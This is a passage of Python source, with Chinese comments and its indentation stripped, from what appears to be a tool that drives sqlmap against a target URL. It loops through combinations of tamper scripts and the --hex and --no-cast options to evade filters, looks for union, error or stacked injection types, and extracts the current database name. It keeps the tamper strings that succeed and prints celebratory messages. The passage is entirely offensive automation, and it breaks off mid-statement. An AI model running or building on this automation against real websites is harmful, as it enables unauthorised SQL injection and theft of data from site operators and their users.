# 里的tamper_string已经是在tamper_list的基础上形成的最终的tamper_string,因为每次测试tamper时,只要
# 测到该tamper可用,以后每次新的tamper测试都会在这个可用tamper的基础上再加上新测试的tamper进行测试
if "," not in tamper_string:
# 当前使用的tamper_string只有一个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', [tamper_string])
else:
# 当前使用的tamper_string有多个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', tamper_string.split(","))
# return 1代表当前tamper达到了目的
return 1
# return 0代表当前tamper没有达到目的
return 0
if forwhat == 'good_sqli_type':
# 为了获取E|U|S高效注入方法而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取E|U|S高效注入方法...", 'green')
self.output.good_print("目前使用的tamper是%s" % tamper_string, 'green')
if eval(get_key_value_from_config_file(self.log_config_file, 'default', 'hex_or_no_cast')) == []:
# 当前还没有获取--hex或者--no-cast选项
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper + " --technique=USE" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_command_with_tamper + " --technique=USE")
current_finished_command_list.append(self.sm_command_with_tamper + " --technique=USE")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
sqli_type = self.get_sqli_type_from_log_file(self.log_file)
if 'U' in sqli_type or 'E' in sqli_type or 'S' in sqli_type:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s获得了U|E|S一种以上的高效注入方法"
% tamper_string, 'red')
flag = 1
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper + " --technique=USE" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_hex_command_with_tamper + " --technique=USE")
current_finished_command_list.append(
self.sm_hex_command_with_tamper + " --technique=USE")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
sqli_type = self.get_sqli_type_from_log_file(self.log_file)
if 'U' in sqli_type or 'E' in sqli_type or 'S' in sqli_type:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--hex选项获得了U|E|S一种以上的高效注入方法" % tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--hex'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper + " --technique=USE" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_no_cast_command_with_tamper + " --technique=USE")
current_finished_command_list.append(
self.sm_no_cast_command_with_tamper + " --technique=USE")
sqli_type = self.get_sqli_type_from_log_file(self.log_file)
if 'U' in sqli_type or 'E' in sqli_type or 'S' in sqli_type:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--no-cast选项获得了U|E|S一种以上的高效注入方法" % tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--no-cast'])
else:
# 当前已经获取--hex或者--no-cast选项
# hex_or_no_cast列表只有一个,如果先检测到--hex选项可以用则不再检测--no-cast选项是否可用
hex_or_no_cast = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'hex_or_no_cast'))[0]
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast + " --technique=USE"
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(sm_hex_or_no_cast_command_with_tamper)
current_finished_command_list.append(sm_hex_or_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
sqli_type = self.get_sqli_type_from_log_file(self.log_file)
if 'U' in sqli_type or 'E' in sqli_type or 'S' in sqli_type:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项获得了U|E|S一种以上的高效注入方法" %
(tamper_string, hex_or_no_cast), 'red')
flag = 1
if flag == 1:
# 下面将当前使用的tamper_string中的tamper写入到tamper_list中,直接写tamper_string中的tamper而不是
# 先判断tamper_string中是否有tamper_list中不存在的tamper再将不存在的tamper写入tamper_list是因为这
# 里的tamper_string已经是在tamper_list的基础上形成的最终的tamper_string,因为每次测试tamper时,只要
# 测到该tamper可用,以后每次新的tamper测试都会在这个可用tamper的基础上再加上新测试的tamper进行测试
if "," not in tamper_string:
# 当前使用的tamper_string只有一个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', [tamper_string])
else:
# 当前使用的tamper_string有多个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', tamper_string.split(","))
# return 1代表当前tamper达到了目的
return 1
# return 0代表当前tamper没有达到目的
return 0
if forwhat == 'db_name':
# 为了获取所有数据库而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取当前url的数据库名...", 'green')
self.output.good_print("目前使用的tamper是%s" % tamper_string, 'green')
if eval(get_key_value_from_config_file(self.log_config_file, 'default', 'hex_or_no_cast')) == []:
# 当前还没有获取--hex或者--no-cast选项
if self.has_good_sqli_type == 1:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper + " --technique=USE" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_command_with_tamper + " --technique=USE" + " --current-db")
current_finished_command_list.append(
self.sm_command_with_tamper + " --technique=USE" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper + " --technique=BQT" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_command_with_tamper + " --technique=BQT" + " --current-db")
current_finished_command_list.append(
self.sm_command_with_tamper + " --technique=BQT" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
if flag == 0:
if self.has_good_sqli_type == 1:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper + " --technique=USE" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_hex_command_with_tamper + " --technique=USE" + " --current-db")
current_finished_command_list.append(
self.sm_hex_command_with_tamper + " --technique=USE" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和--hex选项获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--hex'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper + " --technique=BQT" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_hex_command_with_tamper + " --technique=BQT" + " --current-db")
current_finished_command_list.append(
self.sm_hex_command_with_tamper + " --technique=BQT" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和--hex选项获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--hex'])
if flag == 0:
if self.has_good_sqli_type == 1:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper + " --technique=USE" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_no_cast_command_with_tamper +
" --technique=USE" + " --current-db")
current_finished_command_list.append(
self.sm_no_cast_command_with_tamper + " --technique=USE" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和--no-cast选项获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--no-cast'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper + " --technique=BQT" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_no_cast_command_with_tamper +
" --technique=BQT" + " --current-db")
current_finished_command_list.append(
self.sm_no_cast_command_with_tamper + " --technique=BQT" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和--no-cast选项获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--no-cast'])
else:
# 当前已经获取--hex或者--no-cast选项
# hex_or_no_cast列表只有一个,如果先检测到--hex选项可以用则不再检测--no-cast选项是否可用
hex_or_no_cast = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'hex_or_no_cast'))[0]
if self.has_good_sqli_type == 1:
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast + " --technique=USE"
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
sm_hex_or_no_cast_command_with_tamper + " --current-db")
current_finished_command_list.append(
sm_hex_or_no_cast_command_with_tamper + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项获得了当前url的数据库名" %
(tamper_string, hex_or_no_cast), 'red')
flag = 1
if flag == 0:
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast + " --technique=BQT"
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper + " --current-db" in current_finished_command_list:
pass
else: